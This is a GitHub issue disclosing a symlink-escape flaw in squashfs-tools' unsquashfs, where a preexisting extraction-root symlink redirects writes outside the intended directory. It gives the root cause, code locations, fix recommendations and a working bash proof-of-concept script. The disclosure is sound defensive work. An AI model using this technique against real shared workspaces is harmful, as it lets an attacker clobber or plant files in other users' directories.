Skip to content

squashfs-tools unsquashfs — Extraction Root Symlink Escape via Preexisting Destination State #364

@Nicholas-wei

Description

@Nicholas-wei

squashfs-tools unsquashfs contains Extraction Root Symlink Escape via Preexisting Destination State. This may cause maliciously writing into an attacker-chosen sibling directory.

0. Environment

  • Target: unsquashfs (vulnerable extractor) and mksquashfs (PoC image generation)
  • Version: squashfs-tools commit f277118d (repo: squashfs-tools/)
  • Build (from repository root; disables optional compressors to reduce deps):
make -C squashfs-tools/squashfs-tools -j"$(nproc)" \
  unsquashfs mksquashfs XZ_SUPPORT= LZO_SUPPORT= LZ4_SUPPORT= ZSTD_SUPPORT=
  • Binaries: squashfs-tools/squashfs-tools/unsquashfs, squashfs-tools/squashfs-tools/mksquashfs (run PoC with UNSQUASHFS_BIN=... MKSQUASHFS_BIN=...)

1. Description

unsquashfs trusts the extraction root pathname (squashfs-root by default, or -d <path>) without rejecting the case where that pathname already exists as a symbolic link.

During extraction, the tool recursively appends archive-controlled child names to the destination root and creates files beneath it. If the root path is a symlink to another location, the extractor writes into the symlink target rather than into a real directory under the current working directory.

Relevant code:

  • squashfs-tools/squashfs-tools/unsquashfs.c:4604 — extraction starts with dir_scan(dest, ...).
  • squashfs-tools/squashfs-tools/unsquashfs.c:2130dir_scan(...) calls mkdir(parent_name, 0700).
  • squashfs-tools/squashfs-tools/unsquashfs.c:2148 — on EEXIST, it chmod(parent_name, 0700) without first rejecting symlinks.
  • squashfs-tools/squashfs-tools/unsquashfs.c:2177 — child paths are formed with "%s/%s".
  • squashfs-tools/squashfs-tools/unsquashfs.c:1088 — regular files are opened with open_wait(pathname, O_CREAT | O_WRONLY, ...).

2. Impact

If an attacker can prepare the local extraction destination state, they can redirect unsquashfs writes outside the intended extraction root.

Practical impact includes:

  • writing into an attacker-chosen sibling directory when the user runs unsquashfs in a shared workspace;
  • clobbering files through a predictable default extraction path such as ./squashfs-root;
  • turning filesystem-image extraction into a write primitive against arbitrary locations reachable through a symlink.

This is a preexisting-state issue rather than an archive-only issue, but it is directly relevant to unpfuzz because the FSG should model hostile initial filesystem state in addition to hostile archive contents.

3. Reason / Root Cause

The extractor assumes that an existing destination path is a writable directory. It does not lstat() and reject symlinks before using that path as the root of subsequent extraction.

Once dest is a symlink, all later dest/<entry> paths are resolved by the kernel through the symlink target. The code then opens and writes files below the redirected location.

4. Proof-of-Concept

4.1 PoC file

  • Runner: ./poc.sh

4.2 What the PoC does

The PoC:

  1. Creates a minimal SquashFS image containing dir/pwn.txt.
  2. Creates a symlink named squashfs-root -> outside.
  3. Runs unsquashfs in that directory.
  4. Verifies that extraction writes outside/dir/pwn.txt.

4.3 Expected result

Successful exploitation creates:

  • /tmp/unpfuzz_sqfs_poc/outside/dir/pwn.txt

even though the user invoked extraction through:

  • /tmp/unpfuzz_sqfs_poc/squashfs-root

5. Fix Recommendations

  1. lstat() the extraction root before use and reject symlinks.
  2. Hold a trusted directory file descriptor for the extraction root and create descendants with openat-style APIs rather than by concatenating strings.
  3. Apply the same rejection to every existing parent component, not only to the final path element.
  4. When -force is used, do not chmod() or reuse a path unless lstat() confirms it is a real directory.
  5. Add regression tests that start extraction with:
    • squashfs-root as a symlink;
    • -d link/out where link is a symlink;
    • -force against hostile preexisting directory entries.

6. Reproduction

From the repository root:

./poc.sh

Below is the poc.sh

#!/usr/bin/env bash
set -euo pipefail

MKSQUASHFS_BIN=${MKSQUASHFS_BIN:-mksquashfs}
UNSQUASHFS_BIN=${UNSQUASHFS_BIN:-unsquashfs}

for bin in "$MKSQUASHFS_BIN" "$UNSQUASHFS_BIN"; do
  if [[ "$bin" == */* ]]; then
    if [[ ! -x "$bin" ]]; then
      echo "error: not executable: $bin" >&2
      exit 1
    fi
  else
    if ! command -v "$bin" >/dev/null 2>&1; then
      echo "error: $bin is required" >&2
      exit 1
    fi
  fi
done

base=/tmp/unpfuzz_sqfs_poc
rm -rf "$base"
mkdir -p "$base/src/dir" "$base/outside"
printf 'SQFS_ESCAPE\n' > "$base/src/dir/pwn.txt"

"$MKSQUASHFS_BIN" "$base/src" "$base/test.sqfs" -noappend -quiet >/dev/null
ln -s outside "$base/squashfs-root"

(cd "$base" && "$UNSQUASHFS_BIN" -quiet test.sqfs >/dev/null)

if [[ ! -f "$base/outside/dir/pwn.txt" ]]; then
  echo "[-] exploit failed: redirected file was not created" >&2
  find "$base" -maxdepth 3 -ls >&2
  exit 1
fi

echo "[+] extraction followed preexisting root symlink"
cat "$base/outside/dir/pwn.txt"

Metadata

Metadata

Assignees

Labels

Projects

No projects

Relationships

None yet

Development

No branches or pull requests

Issue actions